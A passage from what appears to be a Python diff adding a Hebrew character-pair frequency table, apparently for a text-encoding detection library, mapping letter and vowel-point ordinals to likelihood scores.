'\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 2, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 2, # 'ִ' + 37: 1, # 'ֵ' + 36: 2, # 'ֶ' + 31: 1, # 'ַ' + 29: 2, # 'ָ' + 35: 1, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 1, # 'א' + 8: 0, # 'ב' + 20: 1, # 'ג' + 16: 0, # 'ד' + 3: 1, # 'ה' + 2: 2, # 'ו' + 24: 0, # 'ז' + 14: 1, # 'ח' + 22: 0, # 'ט' + 1: 1, # 'י' + 25: 0, # 'ך' + 15: 0, # 'כ' + 4: 0, # 'ל' + 11: 1, # 'ם' + 6: 1, # 'מ' + 23: 0, # 'ן' + 12: 1, # 'נ' + 19: 0, # 'ס' + 13: 1, # 'ע' + 26: 0, # 'ף' + 18: 1, # 'פ' + 27: 0, # 'ץ' + 21: 0, # 'צ' + 17: 0, # 'ק' + 7: 1, # 'ר' + 10: 0, # 'ש' + 5: 1, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 9: { # 'א' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 1, # '\xa0' + 55: 1, # '´' + 48: 1, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 2, # 'ֱ' + 41: 2, # 'ֲ' + 33: 2, # 'ִ' + 37: 2, # 'ֵ' + 36: 2, # 'ֶ' + 31: 2, # 'ַ' + 29: 2, # 'ָ' + 35: 2, # 'ֹ' + 62: 1, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 2, # 'א' + 8: 3, # 'ב' + 20: 3, # 'ג' + 16: 3, # 'ד' + 3: 3, # 'ה' + 2: 3, # 'ו' + 24: 3, # 'ז' + 14: 3, # 'ח' + 22: 3, # 'ט' + 1: 3, # 'י' + 25: 3, # 'ך' + 15: 3, # 'כ' + 4: 3, # 'ל' + 11: 3, # 'ם' + 6: 3, # 'מ' + 23: 3, # 'ן' + 12: 3, # 'נ' + 19: 3, # 'ס' + 13: 2, # 'ע' + 26: 3, # 'ף' + 18: 3, # 'פ' + 27: 1, # 'ץ' + 21: 3, # 'צ' + 17: 3, # 'ק' + 7: 3, # 'ר' + 10: 3, # 'ש' + 5: 3, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 1, # '”' + 58: 0, # '†' + 40: 1, # '…' + }, + 8: { # 'ב' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 1, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 1, # '\xa0' + 55: 1, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 2, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 2, # 'ִ' + 37: 2, # 'ֵ' + 36: 2, # 'ֶ' + 31: 2, # 'ַ' + 29: 2, # 'ָ' + 35: 2, # 'ֹ' + 62: 1, # 'ֻ' + 28: 3, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 3, # 'א' + 8: 3, # 'ב' + 20: 3, # 'ג' + 16: 3, # 'ד' + 3: 3, # 'ה' + 2: 3, # 'ו' + 24: 3, # 'ז' + 14: 3, # 'ח' + 22: 3, # 'ט' + 1: 3, # 'י' + 25: 2, # 'ך' + 15: 3, # 'כ' + 4: 3, # 'ל' + 11: 2, # 'ם' + 6: 3, # 'מ' + 23: 3, # 'ן' + 12: 3, # 'נ' + 19: 3, # 'ס' + 13: 3, # 'ע' + 26: 1, # 'ף' + 18: 3, # 'פ' + 27: 2, # 'ץ' + 21: 3, # 'צ' + 17: 3, # 'ק' + 7: 3, # 'ר' + 10: 3, # 'ש' + 5: 3, # 'ת' + 32: 1, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 1, # '”' + 58: 0, # '†' + 40: 1, # '…' + }, + 20: { # 'ג' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 1, # '\xa0' + 55: 2, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 2, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 1, # 'ִ' + 37: 1, # 'ֵ' + 36: 1, # 'ֶ' + 31: 2, # 'ַ' + 29: 2, # 'ָ' + 35: 1, # 'ֹ' + 62: 0, # 'ֻ' + 28: 2, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 2, # 'א' + 8: 3, # 'ב' + 20: 2, # 'ג' + 16: 3, # 'ד' + 3: 3, # 'ה' + 2: 3, # 'ו' + 24: 3, # 'ז' + 14: 2, # 'ח' + 22: 2, # 'ט' + 1: 3, # 'י' + 25: 1, # 'ך' + 15: 1, # 'כ' + 4: 3, # 'ל' + 11: 3, # 'ם' + 6: 3, # 'מ' + 23: 3, # 'ן' + 12: 3, # 'נ' + 19: 2, # 'ס' + 13: 3, # 'ע' + 26: 2, # 'ף' + 18: 2, # 'פ' + 27: 1, # 'ץ' + 21: 1, # 'צ' + 17: 1, # 'ק' + 7: 3, # 'ר' + 10: 3, # 'ש' + 5: 3, # 'ת' + 32: 0, # '–' + 52: 1, # '’' + 47: 0, # '“' + 46: 1, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 16: { # 'ד' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 2, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 2, # 'ִ' + 37: 2, # 'ֵ' + 36: 2, # 'ֶ' + 31: 2, # 'ַ' + 29: 2, # 'ָ' + 35: 2, # 'ֹ' + 62: 1, # 'ֻ' + 28: 2, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 3, # 'א' + 8: 3, # 'ב' + 20: 3, # 'ג' + 16: 3, # 'ד' + 3: 3, # 'ה' + 2: 3, # 'ו' + 24: 1, # 'ז' + 14: 2, # 'ח' + 22: 2, # 'ט' + 1: 3, # 'י' + 25: 2, # 'ך' + 15: 2, # 'כ' + 4: 3, # 'ל' + 11: 3, # 'ם' + 6: 3, # 'מ' + 23: 2, # 'ן' + 12: 3, # 'נ' + 19: 2, # 'ס' + 13: 3, # 'ע' + 26: 2, # 'ף' + 18: 3, # 'פ' + 27: 0, # 'ץ' + 21: 2, # 'צ' + 17: 3, # 'ק' + 7: 3, # 'ר' + 10: 3, # 'ש' + 5: 3, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 1, # '”' + 58: 0, # '†' + 40: 1, # '…' + }, + 3: { # 'ה' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 1, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 1, # '\xa0' + 55: 0, # '´' + 48: 1, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 1, # 'ְ' + 59: 1, # 'ֱ' + 41: 2, # 'ֲ' + 33: 2, # 'ִ' + 37: 2, # 'ֵ' + 36: 2, # 'ֶ' + 31: 3, # 'ַ' + 29: 2, # 'ָ' + 35: 1, # 'ֹ' + 62: 1, # 'ֻ' + 28: 2, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 3, # 'א' + 8: 3, # 'ב' + 20: 3, # 'ג' + 16: 3, # 'ד' + 3: 3, # 'ה' + 2: 3, # 'ו' + 24: 3, # 'ז' + 14: 3, # 'ח' + 22: 3, # 'ט' + 1: 3, # 'י' + 25: 1, # 'ך' + 15: 3, # 'כ' + 4: 3, # 'ל' + 11: 3, # 'ם' + 6: 3, # 'מ' + 23: 3, # 'ן' + 12: 3, # 'נ' + 19: 3, # 'ס' + 13: 3, # 'ע' + 26: 0, # 'ף' + 18: 3, # 'פ' + 27: 1, # 'ץ' + 21: 3, # 'צ' + 17: 3, # 'ק' + 7: 3, # 'ר' + 10: 3, # 'ש' + 5: 3, # 'ת' + 32: 1, # '–' + 52: 1, # '’' + 47: 0, # '“' + 46: 1, # '”' + 58: 0, # '†' + 40: 2, # '…' + }, + 2: { # 'ו' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 1, # 't' + 63: 0, # 'u' + 34: 1, # '\xa0' + 55: 1, # '´' + 48: 1, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 2, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 2, # 'ִ' + 37: 1, # 'ֵ' + 36: 1, # 'ֶ' + 31: 2, # 'ַ' + 29: 2, # 'ָ' + 35: 3, # 'ֹ' + 62: 0, # 'ֻ' + 28: 3, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 3, # 'א' + 8: 3, # 'ב' + 20: 3, # 'ג' + 16: 3, # 'ד' + 3: 3, # 'ה' + 2: 3, # 'ו' + 24: 3, # 'ז' + 14: 3, # 'ח' + 22: 3, # 'ט' + 1: 3, # 'י' + 25: 3, # 'ך' + 15: 3, # 'כ' + 4: 3, # 'ל' + 11: 3, # 'ם' + 6: 3, # 'מ' + 23: 3, # 'ן' + 12: 3, # 'נ' + 19: 3, # 'ס' + 13: 3, # 'ע' + 26: 3, # 'ף' + 18: 3, # 'פ' + 27: 3, # 'ץ' + 21: 3, # 'צ' + 17: 3, # 'ק' + 7: 3, # 'ר' + 10: 3, # 'ש' + 5: 3, # 'ת' + 32: 1, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 1, # '”' + 58: 0, # '†' + 40: 2, # '…' + }, + 24: { # 'ז' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 1, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 2, # 'ְ' + 59: 0, # 'ֱ' + 41: 1, # 'ֲ' + 33: 1, # 'ִ' + 37: 2, # 'ֵ' + 36: 2, # 'ֶ' + 31: 2, # 'ַ' + 29: 2, # 'ָ' + 35: 1, # 'ֹ' + 62: 1, # 'ֻ' + 28: 2, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 3, # 'א' + 8: 2, # 'ב' + 20: 2, # 'ג' + 16: 2, # 'ד' + 3: 3, # 'ה' + 2: 3, # 'ו' + 24: 2, # 'ז' + 14: 2, # 'ח' + 22: 1, # 'ט' + 1: 3, # 'י' + 25: 1, # 'ך' + 15: 3, # 'כ' + 4: 3, # 'ל' + 11: 2, # 'ם' + 6: 3, # 'מ' + 23: 2, # 'ן' + 12: 2, # 'נ' + 19: 1, # 'ס' + 13: 2, # 'ע' + 26: 1, # 'ף' + 18: 1, # 'פ' + 27: 0, # 'ץ' + 21: 2, # 'צ' + 17: 3, # 'ק' + 7: 3, # 'ר' + 10: 1, # 'ש' + 5: 2, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 1, # '…' + }, + 14: { # 'ח' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 1, # '\xa0' + 55: 1, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 2, # 'ְ' + 59: 1, # 'ֱ' + 41: 2, # 'ֲ' + 33: 2, # 'ִ' + 37: 2, # 'ֵ' + 36: 2, # 'ֶ' + 31: 2, # 'ַ' + 29: 2, # 'ָ' + 35: 2, # 'ֹ' + 62: 1, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 2, # 'א' + 8: 3, # 'ב' + 20: 2, # 'ג' + 16: 3, # 'ד' + 3: 3, # 'ה' + 2: 3, # 'ו' + 24: 3, # 'ז' + 14: 2, # 'ח' + 22: 2, # 'ט' + 1: 3, # 'י' + 25: 1, # 'ך' + 15: 2, # 'כ' + 4: 3, # 'ל' + 11: 3, # 'ם' + 6: 3, # 'מ' + 23: 2, # 'ן' + 12: 3, # 'נ' + 19: 3, # 'ס' + 13: 1, # 'ע' + 26: 2, # 'ף' + 18: 2, # 'פ' + 27: 2, # 'ץ' + 21: 3, # 'צ' + 17: 3, # 'ק' + 7: 3, # 'ר' + 10: 3, # 'ש' + 5: 3, # 'ת' + 32: 0, # '–' + 52: 1, # '’' + 47: 0, # '“' + 46: 1, # '”' + 58: 0, # '†' + 40: 1, # '…' + }, + 22: { # 'ט' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 1, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 2, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 2, # 'ִ' + 37: 1, # 'ֵ' + 36: 1, # 'ֶ' + 31: 2, # 'ַ' + 29: 1, # 'ָ' + 35: 1, # 'ֹ' + 62: 1, # 'ֻ' + 28: 1, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 3, # 'א' + 8: 3, # 'ב' + 20: 3, # 'ג' + 16: 1, # 'ד' + 3: 3, # 'ה' + 2: 3, # 'ו' + 24: 2, # 'ז' + 14: 3, # 'ח' + 22: 2, # 'ט' + 1: 3, # 'י' + 25: 1, # 'ך' + 15: 2, # 'כ' + 4: 3, # 'ל' + 11: 2, # 'ם' + 6: 2, # 'מ' + 23: 2, # 'ן' + 12: 3, # 'נ' + 19: 2, # 'ס' + 13: 3, # 'ע' + 26: 2, # 'ף' + 18: 3, # 'פ' + 27: 1, # 'ץ' + 21: 2, # 'צ' + 17: 2, # 'ק' + 7: 3, # 'ר' + 10: 2, # 'ש' + 5: 3, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 1, # '…' + }, + 1: { # 'י' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 1, # '\xa0' + 55: 1, # '´' + 48: 1, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 2, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 2, # 'ִ' + 37: 2, # 'ֵ' + 36: 1, # 'ֶ' + 31: 2, # 'ַ' + 29: 2, # 'ָ' + 35: 2, # 'ֹ' + 62: 1, # 'ֻ' + 28: 2, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 3, # 'א' + 8: 3, # 'ב' + 20: 3, # 'ג' + 16: 3, # 'ד' + 3: 3, # 'ה' + 2: 3, # 'ו' + 24: 3, # 'ז' + 14: 3, # 'ח' + 22: 3, # 'ט' + 1: 3, # 'י' + 25: 3, # 'ך' + 15: 3, # 'כ' + 4: 3, # 'ל' + 11: 3, # 'ם' + 6: 3, # 'מ' + 23: 3, # 'ן' + 12: 3, # 'נ' + 19: 3, # 'ס' + 13: 3, # 'ע' + 26: 3, # 'ף' + 18: 3, # 'פ' + 27: 3, # 'ץ' + 21: 3, # 'צ' + 17: 3, # 'ק' + 7: 3, # 'ר' + 10: 3, # 'ש' + 5: 3, # 'ת' + 32: 1, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 1, # '”' + 58: 0, # '†' + 40: 2, # '…' + }, + 25: { # 'ך' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 2, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 2, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 1, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 1, # 'א' + 8: 0, # 'ב' + 20: 0, # 'ג' + 16: 0, # 'ד' + 3: 1, # 'ה' + 2: 0, # 'ו' + 24: 0, # 'ז' + 14: 1, # 'ח' + 22: 0, # 'ט' + 1: 0, # 'י' + 25: 0, # 'ך' + 15: 0, # 'כ' + 4: 1, # 'ל' + 11: 0, # 'ם' + 6: 1, # 'מ' + 23: 0, # 'ן' + 12: 0, # 'נ' + 19: 0, # 'ס' + 13: 0, # 'ע' + 26: 0, # 'ף' + 18: 0, # 'פ' + 27: 0, # 'ץ' + 21: 0, # 'צ' + 17: 0, # 'ק' + 7: 0, # 'ר' + 10: 1, # 'ש' + 5: 0, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 1, # '…' + }, + 15: { # 'כ' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 2, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 2, # 'ִ' + 37: 2, # 'ֵ' + 36: 2, # 'ֶ' + 31: 2, # 'ַ' + 29: 2, # 'ָ' + 35: 1, # 'ֹ' + 62: 1, # 'ֻ' + 28: 3, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 3, # 'א' + 8: 3, # 'ב' + 20: 2, # 'ג' + 16: 3, # 'ד' + 3: 3, # 'ה' + 2: 3, # 'ו' + 24: 3, # 'ז' + 14: 3, # 'ח' + 22: 2, # 'ט' + 1: 3, # 'י' + 25: 3, # 'ך' + 15: 3, # 'כ' + 4: 3, # 'ל' + 11: 3, # 'ם' + 6: 3, # 'מ' + 23: 3, # 'ן' + 12: 3, # 'נ' + 19: 3, # 'ס' + 13: 2, # 'ע' + 26: 3, # 'ף' + 18: 3, # 'פ' + 27: 1, # 'ץ' + 21: 2, # 'צ' + 17: 2, # 'ק' + 7: 3, # 'ר' + 10: 3, # 'ש' + 5: 3, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 4: { # 'ל' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 1, # '\xa0' + 55: 1, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 3, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 2, # 'ִ' + 37: 2, # 'ֵ' + 36: 2, # 'ֶ' + 31: 2, # 'ַ' + 29: 2, # 'ָ' + 35: 2, # 'ֹ' + 62: 1, # 'ֻ' + 28: 2, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 3, # 'א' + 8: 3, # 'ב' + 20: 3, # 'ג' + 16: 3, # 'ד' + 3: 3, # 'ה' + 2: 3, # 'ו' + 24: 3, # 'ז' + 14: 3, # 'ח' + 22: 3, # 'ט' + 1: 3, # 'י' + 25: 3, # 'ך' + 15: 3, # 'כ' + 4: 3, # 'ל' + 11: 3, # 'ם' + 6: 3, # 'מ' + 23: 2, # 'ן' + 12: 3, # 'נ' + 19: 3, # 'ס' + 13: 3, # 'ע' + 26: 2, # 'ף' + 18: 3, # 'פ' + 27: 2, # 'ץ' + 21: 3, # 'צ' + 17: 3, # 'ק' + 7: 3, # 'ר' + 10: 3, # 'ש' + 5: 3, # 'ת' + 32: 1, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 1, # '”' + 58: 0, # '†' + 40: 1, # '…' + }, + 11: { # 'ם' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 1, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 1, # 'א' + 8: 1, # 'ב' + 20: 1, # 'ג' + 16: 0, # 'ד' + 3: 1, # 'ה' + 2: 1, # 'ו' + 24: 1, # 'ז' + 14: 1, # 'ח' + 22: 0, # 'ט' + 1: 1, # 'י' + 25: 0, # 'ך' + 15: 1, # 'כ' + 4: 1, # 'ל' + 11: 1, # 'ם' + 6: 1, # 'מ' + 23: 0, # 'ן' + 12: 1, # 'נ' + 19: 0, # 'ס' + 13: 1, # 'ע' + 26: 0, # 'ף' + 18: 1, # 'פ' + 27: 1, # 'ץ' + 21: 1, # 'צ' + 17: 1, # 'ק' + 7: 1, # 'ר' + 10: 1, # 'ש' + 5: 1, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 1, # '”' + 58: 0, # '†' + 40: 2, # '…' + }, + 6: { # 'מ' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 1, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 2, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 2, # 'ִ' + 37: 2, # 'ֵ' + 36: 2, # 'ֶ' + 31: 2, # 'ַ' + 29: 2, # 'ָ' + 35: 2, # 'ֹ' + 62: 1, # 'ֻ' + 28: 2, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 3, # 'א' + 8: 3, # 'ב' + 20: 3, # 'ג' + 16: 3, # 'ד' + 3: 3, # 'ה' + 2: 3, # 'ו' + 24: 3, # 'ז' + 14: 3, # 'ח' + 22: 3, # 'ט' + 1: 3, # 'י' + 25: 2, # 'ך' + 15: 3, # 'כ' + 4: 3, # 'ל' + 11: 3, # 'ם' + 6: 3, # 'מ' + 23: 3, # 'ן' + 12: 3, # 'נ' + 19: 3, # 'ס' + 13: 3, # 'ע' + 26: 0, # 'ף' + 18: 3, # 'פ' + 27: 2, # 'ץ' + 21: 3, # 'צ' + 17: 3, # 'ק' + 7: 3, # 'ר' + 10: 3, # 'ש' + 5: 3, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 1, # '…' + }, + 23: { # 'ן' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 1, # '\xa0' + 55: 0, # '´' + 48: 1, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 1, # 'א' + 8: 1, # 'ב' + 20: 1, # 'ג' + 16: 1, # 'ד' + 3: 1, # 'ה' + 2: 1, # 'ו' + 24: 0, # 'ז' + 14: 1, # 'ח' + 22: 1, # 'ט' + 1: 1, # 'י' + 25: 0, # 'ך' + 15: 1, # 'כ' + 4: 1, # 'ל' + 11: 1, # 'ם' + 6: 1, # 'מ' + 23: 0, # 'ן' + 12: 1, # 'נ' + 19: 1, # 'ס' + 13: 1, # 'ע' + 26: 1, # 'ף' + 18: 1, # 'פ' + 27: 0, # 'ץ' + 21: 0, # 'צ' + 17: 1, # 'ק' + 7: 1, # 'ר' + 10: 1, # 'ש' + 5: 1, # 'ת' + 32: 1, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 1, # '”' + 58: 0, # '†' + 40: 2, # '…' + }, + 12: { # 'נ' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 2, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 2, # 'ִ' + 37: 2, # 'ֵ' + 36: 2, # 'ֶ' + 31: 2, # 'ַ' + 29: 2, # 'ָ' + 35: 1, # 'ֹ' + 62: 1, # 'ֻ' + 28: 2, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 3, # 'א' + 8: 3, # 'ב' + 20: 3, # 'ג' + 16: 3, # 'ד' + 3: 3, # 'ה' + 2: 3, # 'ו' + 24: 3, # 'ז' + 14: 3, # 'ח' + 22: 3, # 'ט' + 1: 3, # 'י' + 25: 2, # 'ך' + 15: 3, # 'כ' + 4: 3, # 'ל' + 11: 3, # 'ם' + 6: 3, # 'מ' + 23: 3, # 'ן' + 12: 3, # 'נ' + 19: 3, # 'ס' + 13: 3, # 'ע' + 26: 2, # 'ף' + 18: 3, # 'פ' + 27: 2, # 'ץ' + 21: 3, # 'צ' + 17: 3, # 'ק' + 7: 3, # 'ר' + 10: 3, # 'ש' + 5: 3, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 19: { # 'ס' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 1, # '\xa0' + 55: 1, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 2, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 2, # 'ִ' + 37: 1, # 'ֵ' + 36: 2, # 'ֶ' + 31: 2, # 'ַ' + 29: 1, # 'ָ' + 35: 1, # 'ֹ' + 62: 2, # 'ֻ' + 28: 2, 